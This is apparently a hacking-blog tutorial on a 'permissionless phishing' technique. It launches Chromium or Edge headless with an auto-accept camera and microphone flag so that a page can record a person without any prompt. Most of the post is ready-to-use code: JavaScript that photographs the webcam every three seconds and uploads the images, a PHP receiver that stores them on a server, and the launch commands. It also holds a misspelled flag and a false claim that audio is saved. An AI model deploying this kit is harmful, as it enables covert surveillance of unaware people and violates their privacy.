Ticker

6/recent/ticker-posts

Permissionless Mic & Camera Access Using Chromium Browser

In this blog, we discuss a new type of phishing attack where the victim doesn't even need to grant permission to access their camera, microphone, or location. That's why this attack is known as a Permissionless Phishing Attack

In this method, the Chromium flag --auto-accept-camera-and-mircophone-capture is used that will automatically accept and allow a website to access the camera and microphone. This flag can be used with the --headless flag, allowing it to run invisibly to the user.

When navigating to a page, the target page should use getUserMedia to access the user’s media devices. I've created a function called captureCameraAndMic in the script below, which invokes getUserMedia with both video and audio set to true to capture the user’s camera and microphone.


<!DOCTYPE html>
<html>
<body>
  <video id="video" autoplay playsinline></video>
  <script>
    function captureCameraAndMic() {
      navigator.mediaDevices.getUserMedia({ video: true, audio: true }).then(stream => {
        document.getElementById('video').srcObject = stream;
      });
    }

    captureCameraAndMic();
  </script>
</body>
</html>

To test that the camera and microphone inputs are being captured without any prompts, run the command provided below. Note that this command omits the `--headless` flag for testing purposes. Since we are not using the `--headless` option, you must close any running instances of the browser before executing the command. If you are using `msedge.exe`, please ensure to terminate all msedge processes before running the command.

[msedge.exe|chrome.exe] --auto-accept-camera-and-microphone-capture https://example.com/share.html

The camera and microphone should be accessible without any prompt.


Let's Create A Camera Snapshot taking site

This webpage takes camera snapshots every few seconds and saves them to our server. The script below has two functions:

startCapture -- initializes the camera stream using getUserMedia, displays the video in <video> elements, and sets up a timer to take snapshots at regular intervals (in our case, every 3 seconds).

takeAndUploadsSnaphost - Captures a frame from the video, draws it into a hidden <canvas>, converts it to a PNG image, and sends it to upload.php using a POST request.


<!DOCTYPE html>
<html>
<head>
</head>
<body>
  <video id="video" autoplay playsinline></video>
  <canvas id="canvas" width="1000" height="1000" style="display:none;"></canvas>

  <script>
    const video = document.getElementById('video');
    const canvas = document.getElementById('canvas');
    const context = canvas.getContext('2d');

    function startCapture() {
      navigator.mediaDevices.getUserMedia({ video: true }).then(stream => {
        video.srcObject = stream;
        setInterval(() => takeAndUploadSnapshot(), 3000);
      });
    }

    function takeAndUploadSnapshot() {
        context.drawImage(video, 0, 0, canvas.width, canvas.height);
        const timestamp = Date.now();
        const filename = `imgCapture-${timestamp}.png`;
        const dataUrl = canvas.toDataURL('image/png');

        fetch('upload.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
                image: dataUrl,
                filename: filename
            })
        });
    }

    startCapture();
  </script>
</body>
</html>

The script sends the image's Base64 blob and file name to upload.php . The PHP script will be responsible for handling the incoming image data and Base64-decoding it, and saving it into /var/www/imgCapture. Keep in mind that upload.php should have permission to write in that folder; otherwise, you will face an error.

<?php
$data = json_decode(file_get_contents("php://input"), true);

if (!$data || !isset($data['image']) || !isset($data['filename'])) {
    http_response_code(400);
    exit;
}

// Extract img b64 data and filename
$imageBase64 = $data['image'];
$filename = $data['filename'];

// Remove "data:image/png;base64," from the beginning
$base64String = preg_replace('#^data:image/\w+;base64,#i', '', $imageBase64);
$imageData = base64_decode($base64String);

$uploadDir = '/var/www/imgCapture';
$filePath = $uploadDir . '/' . $filename;

if (file_put_contents($filePath, $imageData)) {
    echo json_encode(['success' => true]);
} else {
    http_response_code(500);
    echo json_encode(['success' => false]);
}
?>

Now run the command with the --headless command and watch the camera captures folder gain new images every few seconds.

[msedge.exe|chrome.exe] --auto-accept-camera-and-microphone-capture https://example.com/share.html

The /var/www/imgCapture folder will now have audio and images saved.

I hope this information is helpful for you. Special thanks to mrd0x.com, a cybersecurity researcher and ethical hacker, who introduced this technique and make sure to save bookmarks of our blog hackersking.in for future posts.